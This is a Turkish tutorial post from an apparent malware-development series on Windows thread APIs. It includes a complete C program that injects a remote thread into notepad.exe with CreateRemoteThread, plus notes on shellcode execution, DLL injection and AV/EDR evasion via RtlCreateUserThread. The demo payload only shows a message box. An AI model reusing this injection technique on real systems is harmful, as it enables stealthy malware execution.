Image

Malware giriş.

Malware

BlackNullSec Path #6: Thread Apıler

🚀 Amaç:Windows’ta iş parçacığı (thread) oluşturma ve yönetme API’lerini içeriyor.

Shellcode çalıştırma, DLL yükleme veya bir fonksiyonu arka planda sessizce işletme gibi durumlarda kritik rol oynarlar.
  

    Senaryo

  • CreateProcess=Notepad handle aç
  • OpenProcess=Pıd ile handle aç=
  • VirtualAllocex=Notepad belleginde yer ayır(ör=100byte)
  • WriteProcessMemory=Buraya "Shellcode veya string"
  • ReadProcessMemory=aynı string geri oku
  • VirtualProtectEx=o bellek alanı PAGE_READ_ONLY(NOT= EGER STRİNG İSE )
  • NOT="Eger string degilde shellcode ise PAGE_EXECUTE_READWRITE yani=oku,yaz,çalıştır")

1.CreateThread

– Kendi Sürecinde Thread Oluşturma.


HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  LPVOID                  lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);

  

2.CreateRemoteThread Apı

– Başka Süreçte Thread Başlatma (Injection).


HANDLE CreateRemoteThread(
  HANDLE hProcess,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  SIZE_T dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID lpParameter,
  DWORD dwCreationFlags,
  LPDWORD lpThreadId
);


Örnek:
HANDLE hRemoteThread = CreateRemoteThread(
    hProcess,
    NULL,
    0,
    (LPTHREAD_START_ROUTINE)remoteShellcodeAddress,
    NULL,
    0,
    NULL
);

  

3.RtlCreateUserThread Apı

– Stealth Thread Injection (NTAPI).


   NTSTATUS RtlCreateUserThread(
  HANDLE               ProcessHandle,
  PSECURITY_DESCRIPTOR SecurityDescriptor,
  BOOLEAN              CreateSuspended,
  ULONG                StackZeroBits,
  PULONG               StackReserve,
  PULONG               StackCommit,
  PVOID                StartAddress,
  PVOID                StartParameter,
  PHANDLE              ThreadHandle,
  PCLIENT_ID           ClientId
);
🔐 AV/EDR atlatmak için tercih edilir. NTAPI olduğundan daha gizlidir.

  

4.SuspendThread / ResumeThread Apı

– Thread’i Durdur / Başlat.


SuspendThread(hThread); // Thread'i askıya al
ResumeThread(hThread);  // Devam ettir


📦 Thread'i çalıştırmadan önce suspend modda başlatıp belleğe shellcode yükleyip sonra ResumeThread() ile çalıştırabilirsin.


  

Malware'de Nasıl Kullanılır?


| Amaç                 | Kullanılacak API                                             |
| -------------------- | ------------------------------------------------------------ |
| Shellcode çalıştırma | `CreateRemoteThread`                                         |
| DLL Injection        | `CreateRemoteThread` + `LoadLibraryA`                        |
| Stealth Injection    | `RtlCreateUserThread` veya `QueueUserAPC`                    |
| Anti-debug           | `SuspendThread` / `ResumeThread` kullanarak analiz engelleme |



  

CreaterRemoteThread ile MessageBox kutusu acma Notepad.exe içine enjecte etme.


#include 
#include 

int main() {
    // Mesaj kutusunda gösterilecek metin ve başlık
    const char* messageText = "Hello Mikail from remote Thread";
    const char* messageCaption = "Injected!";

    // Adım 1: Notepad.exe'yi başlat
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    si.cb = sizeof(si);

    if (!CreateProcessA(
        "C:\\Windows\\System32\\notepad.exe",
        NULL, NULL, NULL, FALSE,
        0, // GUI uygulamaları için 0 yeterli
        NULL, NULL,
        &si, &pi
    )) {
        printf("CreateProcess hatasi: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Notepad baslatildi. PID=%lu, Handle=%p\n", pi.dwProcessId, pi.hProcess);
    // Yeni süreç başlayana kadar kısa bir bekleme eklemek iyi bir pratiktir.
    Sleep(1000); 

    // Adım 2: Hedef process'te MessageBoxA'nın metni için bellek ayır
    // Metin için gereken boyut: metnin uzunluğu + null karakter ('\0')
    SIZE_T messageSize = strlen(messageText) + 1;
    LPVOID remoteMem = VirtualAllocEx(
        pi.hProcess,         // Hedef process'in handle'ı
        NULL,                // Adresi sistemin seçmesini iste
        messageSize,         // Ayırılacak bellek boyutu
        MEM_COMMIT | MEM_RESERVE, // Belleği ayır ve rezerve et
        PAGE_READWRITE       // Okuma/yazma izni ver
    );

    if (!remoteMem) {
        printf("VirtualAllocEx hatasi: %lu\n", GetLastError());
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        return 1;
    }
    printf("[+] Notepad'in hafizasinda %zu byte yer ayrildi. Adres: %p\n", messageSize, remoteMem);

    // Adım 3: Ayırdığımız belleğe mesaj metnini yaz
    if (!WriteProcessMemory(
        pi.hProcess,         // Hedef process'in handle'ı
        remoteMem,           // Yazılacak adres
        messageText,         // Yazılacak veri (metin)
        messageSize,         // Verinin boyutu
        NULL                 // Yazılan byte sayısını umursamıyoruz
    )) {
        printf("WriteProcessMemory hatasi: %lu\n", GetLastError());
        VirtualFreeEx(pi.hProcess, remoteMem, 0, MEM_RELEASE); // Hata olursa belleği serbest bırak
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        return 1;
    }
    printf("[+] Mesaj metni hedef hafizaya yazildi.\n");

    // Adım 4: Çalıştıracağımız fonksiyonun (MessageBoxA) adresini bul
    // MessageBoxA, user32.dll içinde bulunur.
    HMODULE hUser32 = GetModuleHandleA("user32.dll");
    LPTHREAD_START_ROUTINE pMessageBoxA = (LPTHREAD_START_ROUTINE)GetProcAddress(hUser32, "MessageBoxA");

    if (!pMessageBoxA) {
        printf("GetProcAddress hatasi: %lu\n", GetLastError());
        VirtualFreeEx(pi.hProcess, remoteMem, 0, MEM_RELEASE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        return 1;
    }
    printf("[+] MessageBoxA fonksiyonunun adresi bulundu: %p\n", pMessageBoxA);

    // Adım 5: Notepad içinde yeni bir thread başlat ve MessageBoxA'yı çalıştır
    HANDLE hRemoteThread = CreateRemoteThread(
        pi.hProcess,             // Hedef process
        NULL,                    // Varsayılan thread güvenlik ayarları
        0,                       // Varsayılan yığın boyutu
        pMessageBoxA,            // Çalıştırılacak fonksiyonun adresi
        remoteMem,               // Fonksiyona gönderilecek parametre (mesaj metninin adresi)
        0,                       // Thread hemen başlasın
        NULL                     // Thread ID'sini almıyoruz
    );

    if (!hRemoteThread) {
        printf("CreateRemoteThread hatasi: %lu\n", GetLastError());
        VirtualFreeEx(pi.hProcess, remoteMem, 0, MEM_RELEASE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        return 1;
    }
    printf("[+] Remote thread baslatildi! Notepad'de mesaj kutusu gorunmeli.\n");

    // Temizlik
    WaitForSingleObject(hRemoteThread, INFINITE); // Mesaj kutusu kapanana kadar bekle
    printf("[+] Remote thread bitti.\n");

    // Ayrılan belleği geri ver
    VirtualFreeEx(pi.hProcess, remoteMem, 0, MEM_RELEASE);
    
    // Handle'ları kapat
    CloseHandle(hRemoteThread);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    printf("[+] Temizlik yapildi. Program sonlaniyor.\n");
    return 0;
}

🌟 Sonraki Yazı: Pointer Temelleri

"Amaç:Bir pointer, bellekteki bir adresi tutan değişkendir. Yani başka bir değişkenin adresini saklar."

BlackNullSec
“Windows Belleğiyle Konuşan Kodlar”